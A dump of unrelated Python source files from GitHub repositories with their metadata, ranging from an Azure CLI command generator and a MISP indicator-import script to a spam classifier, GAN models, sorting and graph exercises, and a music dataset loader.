return json_update_op\n\n @staticmethod\n def _filter_generic_update_parameters(get_op, put_op):\n \"\"\"Get operation may contain useless query or header parameters for update, ignore them\"\"\"\n get_request = get_op.http.request\n put_request = put_op.http.request\n\n query_name_set = set()\n if put_request.query:\n for param in put_request.query.params:\n query_name_set.add(param.name)\n if get_request.query:\n get_query_params = []\n for param in get_request.query.params:\n if param.name in query_name_set:\n get_query_params.append(param)\n elif param.required:\n print(f\"Query param {param.name} in Get ({get_op.operation_id}) not in Put ({put_op.operation_id})\")\n get_query_params.append(param)\n get_request.query.params = get_query_params\n\n header_name_set = set()\n if put_request.header:\n for param in put_request.header.params:\n header_name_set.add(param.name)\n if get_request.header:\n get_header_params = []\n for param in get_request.header.params:\n if param.name in header_name_set:\n get_header_params.append(param)\n elif param.required:\n print(\n f\"Header param {param.name} in Get ({get_op.operation_id}) not in Put ({put_op.operation_id})\")\n get_header_params.append(param)\n get_request.header.params = get_header_params\n\n @staticmethod\n def _merge_update_commands(patch_command, generic_command):\n # TODO: merge patch command and generic command into one\n return generic_command\n\n @staticmethod\n def optimize_command_description(command):\n if command.description:\n keywords = command.description.split(' ')\n if command.name.lower() == \"show\":\n keywords[0] = \"Get\"\n elif command.name.lower() == \"list\":\n keywords[0] = \"List\"\n elif command.name.lower() == \"delete\":\n keywords[0] = \"Delete\"\n elif command.name.lower() == \"create\":\n if len(keywords) > 1 and keywords[1].lower() == \"or\":\n keywords = [\"Create\", *keywords[3:]]\n else:\n keywords[0] = \"Create\"\n elif command.name.lower() == \"update\":\n if len(keywords) > 1 and keywords[1].lower() == \"or\":\n keywords = [\"Update\", *keywords[3:]]\n else:\n keywords[0] = \"Update\"\n command.description = \" \".join(keywords)\n","repo_name":"Azure/aaz-dev-tools","sub_path":"src/aaz_dev/swagger/controller/command_generator.py","file_name":"command_generator.py","file_ext":"py","file_size_in_byte":25776,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"21"} +{"seq_id":"43022060701","text":"\"\"\"\nRead data from text file\n\nVersion: 0.1\nAuthor: author\nDate: 2018-03-13\n\"\"\"\n\nimport time\n\n\ndef main():\n # Read the entire file content at once\n with open('tooak.txt', 'r', encoding='utf-8') as f:\n print(f.read())\n\n # Read line by line through a for-in loop\n with open('To Oak.txt', mode='r') as f:\n for line in f:\n print(line, end='')\n time.sleep(0.5)\n print()\n\n # Read the file into a list line by line\n with open('to oak.txt') as f:\n lines = f.readlines()\n print(lines)\n \n\nif __name__ == '__main__':\n main()","repo_name":"ag143/python","sub_path":"Python-100-Days-master/Day01-15/code/Day11/file1.py","file_name":"file1.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25857560753","text":"import sys\n\nSENTINEL = sys.maxsize\ncnt = 0\nn = int(input())\nA = list(map(int, input().split()))\n\n\ndef merge(A, n, left, mid, right):\n L = []\n R = []\n n1 = mid - left\n n2 = right - mid\n\n for i in range(n1):\n L.append(A[left + i])\n for i in range(n2):\n R.append(A[mid + i])\n\n L.append(SENTINEL)\n R.append(SENTINEL)\n\n i = j = 0\n for k in range(left, right):\n global cnt\n cnt += 1\n\n if L[i] <= R[j]:\n A[k] = L[i]\n i += 1\n else:\n A[k] = R[j]\n j += 1\n\n\ndef mergeSort(A, n, left, right):\n if left + 1 < right:\n mid = int((left + right) / 2)\n mergeSort(A, n, left, mid)\n mergeSort(A, n, mid, right)\n merge(A, n, left, mid, right)\n\n\nmergeSort(A, n, 0, n)\n\nfor i, j in enumerate(A):\n if i != n - 1:\n print('{} '.format(j), end='')\n else:\n print(j)\n\nprint(cnt)\n","repo_name":"KawaharaSyuichi/algorithms","sub_path":"Advanced_alignment/Merge_Sort.py","file_name":"Merge_Sort.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18549091855","text":"import sqlite3\n\nfrom aiogram import types\nfrom aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton\nfrom aiogram.dispatcher import FSMContext\n\nfrom data.config import CLIENT_ID\nfrom filters import IsPrivate\nfrom handlers.users.menu import menu\nfrom keyboards.default import kb_return\nfrom loader import dp\nfrom states.connect_with_disk import ConnectWithYaDisk\n\nfrom yadisk import YaDisk\n\n\n@dp.message_handler(IsPrivate(), text=\"Зайти в диск\")\nasync def command_calculate(message: types.Message, state: FSMContext):\n conn = sqlite3.connect('users.db')\n user_id = message.from_user.id\n cursor = conn.cursor()\n cursor.execute(\"SELECT * FROM users WHERE user_id = ?\", (user_id,))\n data = cursor.fetchone()\n\n if data is None:\n baseurl = 'https://oauth.yandex.ru/'\n url_button = types.InlineKeyboardButton(text=\"Предоставить доступ к аккаунту\",\n url=baseurl + \"authorize?response_type=code&client_id={}\".format(\n CLIENT_ID),\n )\n\n keyboard = types.InlineKeyboardMarkup().add(url_button)\n await message.answer(\"Разрешить доступ к аккаунту\", reply_markup=keyboard)\n else:\n yadisk = YaDisk(token=data[1])\n corr_dir = \"\"\n files = yadisk.listdir(corr_dir)\n file_names = [f['name'] for f in files]\n if not file_names:\n await message.answer(\"Ваш Яндекс Диск пуст!\")\n await menu(message)\n else:\n await message.answer(\"Успешное подключение!\", reply_markup=kb_return)\n file_names_str = \"\\n\".join(file_names)\n kb_list_of_files = InlineKeyboardMarkup()\n for file in file_names_str.split():\n button = InlineKeyboardButton(\n text=file,\n callback_data=f\"select_file_{file}\",\n )\n kb_list_of_files.add(button)\n await message.answer(f\"Ваши файлы:\\n{file_names_str}\", reply_markup=kb_list_of_files)\n await ConnectWithYaDisk.get_files.set()\n await state.update_data(token=data[1])\n await state.update_data(corr_dir=corr_dir)\n\n\n@dp.message_handler(IsPrivate(), text=\"👤Профиль\")\nasync def command_calculate(message: types.Message):\n await message.answer(\"Профиль\")\n # Добавить возможность привязать другой аккаунт или отвязать или рефку вообще ёбнуть\n\n\n@dp.message_handler(IsPrivate(), text=\"👨‍💻Помощь\")\nasync def command_calculate(message: types.Message):\n await message.answer(\"Если возникли сложности при использовании бота, напишите нашим администраторам:\"\n \" @vladislavmain\"\n \" @swyatoslavik\")\n\n\n@dp.message_handler(IsPrivate(), text=\"🏠Главное меню\")\nasync def work_with_orders(message: types.Message):\n await menu(message)\n","repo_name":"VladislavButov/Botdisk","sub_path":"handlers/users/buttons.py","file_name":"buttons.py","file_ext":"py","file_size_in_byte":3193,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25244289171","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom pymisp import PyMISP\nimport csv\nfrom IPy import IP\nimport sys\nimport os\nimport validators\n\n\n# distribution\ndistribution_your_organisation_only='0'\ndistribution_this_community_only='1'\ndistribution_connected_communities='2'\ndistribution_all_communities='3'\n# threat_level_id\nthreat_level_id_high='1'\nthreat_level_id_medium='2'\nthreat_level_id_low='3'\n# analysis\nanalysis_initial='0'\nanalysis_ongoing='1'\nanalysis_completed='2'\n\n\n# *** MISP misp.organizacion.com ***\nmisp_url = 'https://misp.organizacion.com/'\nmisp_key = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'\nmisp_cert = None\nmisp_verifycert = False\n\n\ndef connect(url, key, verifycert, cer):\n try:\n misp = PyMISP(url, key, verifycert, 'json', cert=cer)\n return misp\n except Exception as e:\n print('Unable to connect to MISP: %s' % e)\n exit(1)\n\n\ndef check_IP(ip):\n try:\n IP(ip)\n return True\n except ValueError:\n return False\n\n\ndef check_email(url):\n return validators.email(url)\n\n\ndef check_URL(url):\n return validators.url(url)\n\n\ndef add_tags(misp, event, type, subtype):\n # Se añaden las etiquetas por tipo\n if type == 'Trojan':\n misp.tag(event['Event']['uuid'], 'circl:incident-classification=\\\"malware\\\"')\n elif type == 'Phishing':\n misp.tag(event['Event']['uuid'], 'circl:incident-classification=\\\"phishing\\\"')\n # Se añaden las etiquetas por subtipo\n if subtype == 'Trickbot / Trickster':\n misp.tag(event['Event']['uuid'], 'misp-galaxy:banker=\\\"Trickbot\\\"')\n elif subtype == \"Dyre\":\n misp.tag(event['Event']['uuid'], 'misp-galaxy:banker=\\\"Dyre\\\"')\n elif subtype == \"Dridex\":\n misp.tag(event['Event']['uuid'], 'misp-galaxy:banker=\\\"Dridex\\\"')\n elif subtype == \"SpyEye\":\n misp.tag(event['Event']['uuid'], 'misp-galaxy:banker=\\\"SpyEye\\\"')\n elif subtype == \"Tinba\":\n misp.tag(event['Event']['uuid'], 'misp-galaxy:banker=\\\"Tinba\\\"')\n elif subtype == \"Zeus\":\n misp.tag(event['Event']['uuid'], 'misp-galaxy:banker=\\\"Zeus\\\"')\n elif subtype == \"Ransomware\":\n misp.tag(event['Event']['uuid'], 'malware_classification:malware-category=\\\"Ransomware\\\"')\n elif subtype == \"Fugas de información\" or subtype == \"Data Leak\":\n misp.tag(event['Event']['uuid'], 'circl:incident-classification=\\\"information-leak\\\"')\n elif subtype == \"Aplicación Móvil Maliciosa\":\n misp.tag(event['Event']['uuid'], 'misp-galaxy:android=\\\"Fakeapp\\\"')\n\n\ndef get_event(misp, reg, info, date):\n # Se crea un nuevo evento a distribuir entre todas las comunidades del MISP, con nivel bajo, como analisis completado y publicado\n event = misp.new_event(distribution=distribution_all_communities, threat_level_id=threat_level_id_low, analysis=analysis_completed, info=info, date=date, published=True)\n print('Se ha creado el evento', event['Event']['id'])\n return event\n\n\ndef process_file(file_name):\n # Se abre el fichero\n file = open(file_name, 'r', encoding='latin-1')\n # Se inicializa el contador de eventos a tratar\n i = 0\n # Se establece la conexion con el MISP\n misp = connect(misp_url, misp_key, misp_verifycert, misp_cert)\n # Se pone un bucle que lee cada registro que hay en el fichero CSV con campos separados por un punto y coma (;)\n for reg in csv.DictReader(file, delimiter=';'):\n # Se crea el registro con titulo Tipo + Subtipo de ataque, y la fecha del registro\n event = get_event(misp, reg, reg['Tipo'] + ' - '+ reg['Subtipo'], reg['Fecha de registro'])\n # Se crea un bucle para tratar todas las URLs separadas por un pipe (|) añadiendolas como atributos\n for url in reg['Urls'].split(' | '):\n # Se verifica que sea un email\n if check_email(url):\n misp.add_named_attribute(event, 'email-dst', url, category='Network activity', to_ids=True, distribution=distribution_all_communities)\n # Se verifica que sea una URL\n elif check_URL(url):\n misp.add_named_attribute(event, 'url', url, category='Network activity', to_ids=True, distribution=distribution_all_communities)\n # Se crea un bucle para tratar todos los dominios e IPs separados por un pipe (|) añadiendolos como atributos\n for ip in reg['Dominios-IPs'].split(' | '):\n # Se verifica que sea una IP\n if check_IP(ip):\n misp.add_named_attribute(event, 'ip-dst', ip, category='Network activity', to_ids=True, distribution=distribution_all_communities)\n # Si no es una IP, se asume que es un dominio\n else:\n misp.add_named_attribute(event, 'domain', ip, category='Network activity', to_ids=True, distribution=distribution_all_communities)\n # Se crea un atributo con el HASH\n if 'Hash' in reg and reg['Hash'] != '':\n misp.add_named_attribute(event, 'md5', reg['Hash'], category='Payload delivery', comment=None, to_ids=False, distribution=distribution_all_communities)\n # Se crea un atributo, que no se comparte con otras organizaciones, para el Id interno\n if 'Id' in reg and reg['Id'] != '':\n misp.add_named_attribute(event, 'text', 'Id: ' + reg['Id'], category='Other', comment=None, to_ids=False, distribution=distribution_your_organisation_only)\n # Se crea un atributo, que no se comparte con otras organizaciones, con el ISP\n if 'ISPs' in reg and reg['ISPs'] != '':\n misp.add_named_attribute(event, 'text', 'ISPs: ' + reg['ISPs'], category='Other', comment=None, to_ids=False, distribution=distribution_your_organisation_only)\n # Se añaden las etiquetas que correspondan en base al tipo y subtipo de evento\n add_tags(misp, event, reg['Tipo'], reg['Subtipo'])\n # Se publica el evento\n misp.fast_publish(event['Event']['id'], alert=False)\n i = i + 1\n file.close()\n print()\n print(i, 'casos')\n\n\nif __name__ == '__main__':\n # Se amplia el tamaño por defecto de registro (en casos con muchas URLs puede dar problemas)\n csv.field_size_limit(sys.maxsize)\n # Se procesa el fichero 'Example2MISP.csv' que tiene la estructura 'Id;Tipo;Subtipo;Urls;ISPs;Dominios-IPs;Hash;Fecha de registro;Fecha de cierre'\n process_file('Example2MISP.csv')\n","repo_name":"InnotecSystem/MISP-Example2MISP","sub_path":"Example2MISP.py","file_name":"Example2MISP.py","file_ext":"py","file_size_in_byte":6314,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16205410433","text":"import streamlit as st\nimport streamlit.components.v1 as com\nimport pickle\nimport string\n\nimport nltk\nfrom nltk.corpus import stopwords\nfrom nltk.stem.porter import PorterStemmer\n\nps = PorterStemmer()\n\n# Download NLTK data\ntry:\n nltk.data.find('tokenizers/punkt')\nexcept LookupError:\n nltk.download('punkt')\n\ndef transform_text(text):\n text = text.lower()\n text = nltk.word_tokenize(text)\n\n y = []\n for i in text:\n if i.isalnum():\n y.append(i)\n\n text = y[:]\n y.clear()\n\n for i in text:\n if i not in string.punctuation:\n y.append(i)\n\n text = y[:]\n y.clear()\n\n for i in text:\n y.append(ps.stem(i))\n\n return \" \".join(y)\n\ntfidf = pickle.load(open('vectorizer.pkl','rb'))\nmodel = pickle.load(open('model.pkl','rb'))\n\nhtml_string_spam = \"\"\"\n\n
\n

Wait a minute! Don't trust on there is a SPAM!

\n
\n\"\"\"\n\nhtml_string_ham = \"\"\"\n\n
\n

Thank God!, this is a normal message.

\n
\n\"\"\"\n\ndef main():\n com.html(\"\"\"
\n

SMS SPAM CLASSIFIER

\n

Detect Spam Messages with Machine Learning

\n
\"\"\")\n\n with st.form(\"text_area_form\"):\n input_sms = st.text_area(\"Enter your SMS\", \"\")\n submitted = st.form_submit_button(\"Predict\")\n\n if submitted:\n transformed_sms = transform_text(input_sms)\n vector_input = tfidf.transform([transformed_sms])\n result = model.predict(vector_input)[0]\n \n if input_sms.strip() == \"\":\n st.error(\"Text area cannot be empty!\")\n else:\n if result == 1:\n st.markdown(html_string_spam, unsafe_allow_html=True)\n else:\n st.markdown(html_string_ham, unsafe_allow_html=True)\n\nif __name__ == \"__main__\":\n main()\n\ncom.html(\n \"\"\"\n\n\n\"\"\"\n)\n","repo_name":"ShrutiAgarwal493/sms-spam-detection","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28163345362","text":"import torch\r\nimport torch.nn as nn\r\n\r\n\r\nclass Discriminator(nn.Module):\r\n def __init__(self, input_dim):\r\n super(Discriminator, self).__init__()\r\n # build your model here\r\n # your output should be of dim (batch_size, 1)\r\n # since discriminator is a binary classifier\r\n self.model = nn.Sequential(\r\n nn.Linear(input_dim,int(3*input_dim/4)),\r\n nn.ReLU(),\r\n nn.Linear(int(3*input_dim/4),int(input_dim/2)),\r\n nn.ReLU(),\r\n nn.Linear(int(input_dim/2),int(input_dim/4)),\r\n nn.ReLU(),\r\n nn.Dropout(0.2),\r\n nn.Linear(int(input_dim/4),1),\r\n nn.Sigmoid(),\r\n )\r\n \r\n def forward(self, x):\r\n # define your feedforward pass\r\n x = self.model(x)\r\n return x\r\n\r\n\r\nclass Generator(nn.Module):\r\n def __init__(self, latent_dim, airfoil_dim):\r\n super(Generator, self).__init__()\r\n # build your model here\r\n # your output should be of dim (batch_size, airfoil_dim)\r\n # you can use tanh() as the activation for the last layer\r\n # since y coord of airfoils range from -1 to 1\r\n mid_dim = int((latent_dim+airfoil_dim)/2)\r\n quarter_dim = int((latent_dim +mid_dim)/2)\r\n three_quarter_dim = int((airfoil_dim+ mid_dim)/2)\r\n self.fc1 = nn.Linear(latent_dim,quarter_dim)\r\n self.fc2 = nn.Linear(quarter_dim,mid_dim)\r\n self.fc3 = nn.Linear(mid_dim,three_quarter_dim)\r\n self.fc4 = nn.Linear(three_quarter_dim,airfoil_dim)\r\n self.relu = nn.ReLU()\r\n self.tanh = nn.Tanh()\r\n\r\n \r\n def forward(self, x):\r\n # define your feedforward pass\r\n x = self.fc1(x)\r\n x = self.relu(x)\r\n x = self.fc2(x)\r\n x = self.relu(x)\r\n x = self.fc3(x)\r\n x = self.relu(x)\r\n x = self.fc4(x)\r\n return self.tanh(x)\r\n\r\n","repo_name":"aditya-rathi/Deep-Learning","sub_path":"HW 3/code_q1_template/adityamr-HW3/P1/gan.py","file_name":"gan.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31659557367","text":"from __future__ import print_function, division\nfrom scipy.special import gamma\nimport matplotlib.pyplot as plt\nfrom math import pi\n\ndef c(d, r):\n num = pi**(d/2)/gamma(d/2 + 1)\n num = num * r**d * 2**(-d)\n num = num**(1/d)\n return r/num\n\ndef ball(d, r):\n num = pi**(d/2) * r**d\n return num/gamma(d/2 + 1)\n\ndef box(d, r):\n return (2 * r)**d\n\nc_list = []\nball_list = []\nbox_list = []\nr = 2\nout = [2, 3, 4]\n\nfor d in range(1, 21):\n c_ = c(d,r)\n if d in out:\n c_str = \"%.3f\" % c_\n print(\"d = \" + str(d) + \": \" + c_str)\n c_list.append(c_)\n ball_list.append(ball(d,r))\n box_list.append(box(d,r))\n\nplt.plot(range(1, 21), c_list)\n#plt.plot(range(1, 21), ball_list)\n#plt.plot(range(1, 21), box_list)\nplt.xlabel(\"Dimension\")\nplt.ylabel(\"c\")\nplt.savefig(\"high_dimension.pdf\", bbox_inches=\"tight\")\nplt.show()\n","repo_name":"cmertin/Spring2017","sub_path":"CS6140_Data-Mining/hw3/prob3.py","file_name":"prob3.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4419016810","text":"class Graph:\n\n def __init__(self, row, col, g):\n self.ROW = row\n self.COL = col\n self.graph = g\n\n def isSafe(self, i, j, visited):\n\n return (i>=0 and i=0 and j Optional[annotations.F0Data]:\n return load_pitch(self.pitch_path)\n\n @property\n def audio(self) -> Optional[Tuple[np.ndarray, float]]:\n \"\"\"The track's audio\n\n Returns:\n * np.ndarray - audio signal\n * float - sample rate\n\n \"\"\"\n return load_audio(self.audio_path)\n\n def to_jams(self):\n \"\"\"Get the track's data in jams format\n\n Returns:\n jams.JAMS: the track's data in jams format\n\n \"\"\"\n return jams_utils.jams_converter(\n audio_path=self.audio_path,\n f0_data=[(self.pitch, \"annotated pitch\")],\n metadata=self._track_metadata,\n )\n\n\n@io.coerce_to_bytes_io\ndef load_audio(fhandle: BinaryIO) -> Tuple[np.ndarray, float]:\n \"\"\"Load a MedleyDB audio file.\n\n Args:\n fhandle (str or file-like): File-like object or path to audio file\n\n Returns:\n * np.ndarray - the mono audio signal\n * float - The sample rate of the audio file\n\n \"\"\"\n return librosa.load(fhandle, sr=None, mono=True)\n\n\n@io.coerce_to_string_io\ndef load_pitch(fhandle: TextIO) -> annotations.F0Data:\n \"\"\"load a MedleyDB pitch annotation file\n\n Args:\n pitch_path (str): path to pitch annotation file\n\n Raises:\n IOError: if pitch_path doesn't exist\n\n Returns:\n F0Data: pitch annotation\n\n \"\"\"\n\n times = []\n freqs = []\n reader = csv.reader(fhandle, delimiter=\",\")\n for line in reader:\n times.append(float(line[0]))\n freqs.append(float(line[1]))\n\n times = np.array(times) # type: ignore\n freqs = np.array(freqs) # type: ignore\n confidence = (cast(np.ndarray, freqs) > 0).astype(float)\n pitch_data = annotations.F0Data(times, freqs, confidence)\n return pitch_data\n\n\n@core.docstring_inherit(core.Dataset)\nclass Dataset(core.Dataset):\n \"\"\"\n The medleydb_pitch dataset\n \"\"\"\n\n def __init__(self, data_home=None):\n super().__init__(\n data_home,\n name=\"medleydb_pitch\",\n track_class=Track,\n bibtex=BIBTEX,\n download_info=DOWNLOAD_INFO,\n license_info=LICENSE_INFO,\n )\n\n @core.cached_property\n def _metadata(self):\n metadata_path = os.path.join(self.data_home, \"medleydb_pitch_metadata.json\")\n\n if not os.path.exists(metadata_path):\n raise FileNotFoundError(\"Metadata not found. Did you run .download()?\")\n\n with open(metadata_path, \"r\") as fhandle:\n metadata = json.load(fhandle)\n\n return metadata\n\n @core.copy_docs(load_audio)\n def load_audio(self, *args, **kwargs):\n return load_audio(*args, **kwargs)\n\n @core.copy_docs(load_pitch)\n def load_pitch(self, *args, **kwargs):\n return load_pitch(*args, **kwargs)\n","repo_name":"sebastianrosenzweig/mirdata","sub_path":"mirdata/datasets/medleydb_pitch.py","file_name":"medleydb_pitch.py","file_ext":"py","file_size_in_byte":5701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"70387769332","text":"from pygeoiga.nurb import NURB\nimport numpy as np\nfrom tqdm.autonotebook import tqdm\n\n\ndef knot_insertion(B, degree, knots: list, knots_ins: list, direction = 0, leave = True):\n \"\"\"\n Manage the knot insertion to refine the nurb control point mesh\n Direction eta or xi\n Args:\n B: Control points + weights\n degree: degree\n knots: current knot to refine\n knots_ins: knots to insert. Can be single knot or a list of knots\n direction: parametric direction to insert the knots. xi (0), eta(1)\n Returns:\n nurb object\n\n \"\"\"\n B_new = B\n if isinstance(knots, tuple):\n knots = list(knots)\n if not isinstance(knots, list):\n if isinstance(knots, np.ndarray):\n knots = knots.tolist()\n else:\n knots = [knots]\n knot_new = knots[direction]\n if isinstance(degree, int):\n degree=[degree]\n for knot_ins in tqdm(knots_ins, desc=\"Inserting single knot\", leave=leave):\n B_new, knot_new = single_knot_insertion(cpoint_old=B_new,\n knot_old=knot_new,\n knot_ins=knot_ins,\n degree = degree[direction],\n direction=direction)\n knots[direction] = knot_new\n return B_new, knots\n\ndef single_knot_insertion(cpoint_old, knot_old, knot_ins, degree, direction):\n \"\"\"\n Function that generates new control point when one new knot is inserted\n Args:\n cpoint_old: include the wheights in last column\n knot_old:\n knot_ins:\n degree:\n direction:\n\n Returns:\n\n \"\"\"\n knot = np.append(knot_old, knot_ins)\n sort = np.argsort(knot)\n k_index = np.where(sort == len(knot_old) )[0][0] # index at it was inserted\n # Project out to d + 1 dimension control points with the weights\n for i in range(len(cpoint_old.shape)-1):\n cpoint_old[..., i] = cpoint_old[..., i] * cpoint_old[..., -1]\n # Evaluate the new control points according to the inserted knot\n _shape = np.asarray(cpoint_old.shape, dtype=object)\n _shape[direction] = _shape[direction] + 1\n B = np.zeros(_shape)\n if direction == 0:\n B[:(k_index - degree), :] = cpoint_old[:(k_index - degree), :]\n for i in range(k_index - degree, k_index, 1):\n alpha = (knot_ins - knot_old[i]) / (knot_old[i + degree] - knot_old[i])\n B[i, :] = alpha * cpoint_old[i, :] + (1 - alpha) * cpoint_old[i - 1, :]\n\n B[k_index:, :] = cpoint_old[k_index - 1:, :]\n\n elif direction == 1:\n B[:, :(k_index - degree)] = cpoint_old[:, :(k_index - degree)]\n for i in range(k_index - degree, k_index, 1):\n alpha = (knot_ins - knot_old[i]) / (knot_old[i + degree] - knot_old[i])\n B[:, i] = alpha * cpoint_old[:, i] + (1 - alpha) * cpoint_old[:, i - 1]\n\n B[:, k_index:] = cpoint_old[:, k_index-1:]\n\n # Project out to d + 1 dimension control points with the weights\n for i in range(len(cpoint_old.shape)-1):\n B[..., i] = B[..., i] / B[..., -1]\n\n knot_sorted = knot[sort]\n\n return B, np.asarray(knot_sorted)\n\ndef degree_elevation(B, knots: list, times=1, direction = 0):\n try:\n from igakit.nurbs import NURBS\n nrb = NURBS(knots, B)\n nrb.elevate(axis=direction, times=times)\n B = nrb.control\n knots = nrb.knots\n return B, knots\n\n except:\n from geomdl import NURBS\n from geomdl import helpers\n if not isinstance(knots, list):\n knots = [knots]\n degree = np.asarray([len(np.where(knots[x] == 0.)[0]) - 1 for x in range(len(knots))])\n dim = len(degree)\n if dim==1:\n nrb = NURBS.Curve()\n nrb.degree = degree[0]\n nrb.ctrlpts = B[...,:-1]\n nrb.knotvector = knots[0]\n nrb = helpers.degree_elevation(degree[0], )\n\n else:\n nrb = NURBS.Surface()\n nrb.ctrlpts2d = B\n nrb.knotvector = knots\n\n\n\n\n","repo_name":"danielsk78/pygeoiga","sub_path":"pygeoiga/nurb/refinement.py","file_name":"refinement.py","file_ext":"py","file_size_in_byte":4093,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"72543533814","text":"import os\nos.system('cls')\n\nimport math\n\nnum= int(input('Digite um numero com tres digitos: '))\nd1= num // 100\nd2 = num % 100 // 10 #2*100 + 3*10 * 4 #\nd3 = num % 10\ninverso = d3*100 + d2*10 + d1\nprint('O inverso do numeo digitado é: ', inverso) ","repo_name":"Luiz-Hznrique/Python","sub_path":"aula3/exercicioaula3.py","file_name":"exercicioaula3.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5631975386","text":"import sys\nsys.stdin = open('led.txt')\nT = int(input())\nfor tc in range(1, T+1):\n N = int(input())\n led = [0] * (N+1)\n want_led = [0] + list(map(int, input().split()))\n cnt = 0\n\n for i in range(N+1):\n if i == 0:\n continue\n\n if led[i] == want_led[i]:\n continue\n\n else:\n for j in range(i, N+1):\n if j % i == 0:\n if led[j] == 0:\n led[j] = 1\n else:\n led[j] = 0\n cnt += 1\n\n if led == want_led:\n print(f'#{tc} {cnt}')\n break","repo_name":"Haru-arp/TIL","sub_path":"Algorithm/SWEA/연습문제/LED조명 연습.py","file_name":"LED조명 연습.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"22073085915","text":"# Given an array of integers nums sorted in ascending order, find the starting and ending position of a given target value.\n#\n# If target is not found in the array, return [-1, -1].\n#\n# Follow up: Could you write an algorithm with O(log n) runtime complexity?\n#\n# Example 1:\n# Input: nums = [5, 7, 7, 8, 8, 10], target = 8\n# Output: [3, 4]\n#\n# Example 2:\n# Input: nums = [5, 7, 7, 8, 8, 10], target = 6\n# Output: [-1, -1]\n#\n# Example 3:\n# Input: nums = [], target = 0\n# Output: [-1, -1]\n#\n# Constraints:\n# 0 <= nums.length <= 105\n# -109 <= nums[i] <= 109\n# nums is a non-decreasing array.\n# -109 <= target <= 109\n\ndef postion_in_an_array(nums, target):\n if nums == []:\n return [-1, -1]\n\n for i in range(0, len(nums)):\n if nums[i] == target:\n left_index = i\n break\n\n for j in range(len(nums)-1, -1, -1):\n if nums[j] == target:\n right_index = j\n break\n\n return [left_index, right_index]\n\n\n# Approach 2\nclass Solution:\n # returns leftmost (or rightmost) index at which `target` should be inserted in sorted\n # array `nums` via binary search.\n def extreme_insertion_index(self, nums, target, left):\n lo = 0\n hi = len(nums)\n\n while lo < hi:\n mid = (lo + hi) // 2\n if nums[mid] > target or (left and target == nums[mid]):\n hi = mid\n else:\n lo = mid + 1\n\n return lo\n\n def searchRange(self, nums, target):\n left_idx = self.extreme_insertion_index(nums, target, True)\n\n # assert that `left_idx` is within the array bounds and that `target`\n # is actually in `nums`.\n if left_idx == len(nums) or nums[left_idx] != target:\n return [-1, -1]\n\n return [left_idx, self.extreme_insertion_index(nums, target, False) - 1]\n\n\n\n\n\n\n# # Time Complexity is -- O(log(n))\n# def find(a_list, target):\n# low = 0\n# high = len(a_list)\n#\n# while low < high:\n# mid = (low+high)//2\n# if a_list[mid] == target:\n# return mid\n# elif a_list[mid] > target:\n# high = mid\n# else:\n# low = mid + 1\n#\n# return None\n#\n#\n# target = 89\n# list_a = [1, 2, 3, 4, 5, 6, 7, 8, 32, 44, 56, 72, 89]\n# #INDEX 0 1 2 3 4 5 6 7 8 9 10 11 12\n#\n#\n# ret_val = find(a_list=list_a, target=target)\n# print(target, ret_val, list_a[ret_val])","repo_name":"ambarish710/python_concepts","sub_path":"leetcode/medium/34_find_first_and_last_position_of_element_in_sorted_array.py","file_name":"34_find_first_and_last_position_of_element_in_sorted_array.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42690136305","text":"for e in range(1,1001):\n lista=[]\n liste=[]\n n=e\n o=0\n while n!=1:\n if n%2==0:\n n=n/2\n else:\n n=3*n+1\n o+=1\n lista.append(n)\n liste.append(o)\nprint(max(liste))\n ","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_048/ch39_2020_04_21_21_34_31_249400.py","file_name":"ch39_2020_04_21_21_34_31_249400.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"el","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14123172892","text":"\nclass Node:\n \"\"\"\n attributes:\n feature [str]: column name in the dataframe\n split_kind [str]: '<=' or '>' if feature is numerical type,\n '==' or '!=' if feature is categorical\n threshold [str, float]: if str, category being chosen,\n if float value of the criteria used to split data\n info_gain [float]: information gain due to the split\n depth [int]: depth level of the node in the tree\n is_leaf [bool]: True if the node is a leaf of the tree\n left [Node]: node child where criteria is True\n right [Node]: node child where criteria is False\n \"\"\"\n def __init__(self,\n feature=None,\n split_kind=None,\n threshold=None,\n info_gain=None,\n depth=0,\n is_leaf=False,\n left=None,\n right=None):\n\n # split_info\n self.feature = feature\n self.split_kind = split_kind\n self.threshold = threshold\n self.info_gain = info_gain\n\n self.is_leaf = is_leaf\n if self.is_leaf:\n self.content = f\"[Leaf = feat:{self.feature} - kind: {self.split_kind} - threshold:{self.threshold} - info_gain: {self.info_gain}]\"\n else:\n self.content = f\"[Node = feat:{self.feature} - kind: {self.split_kind} - threshold:{self.threshold} - info_gain: {self.info_gain}]\"\n # children 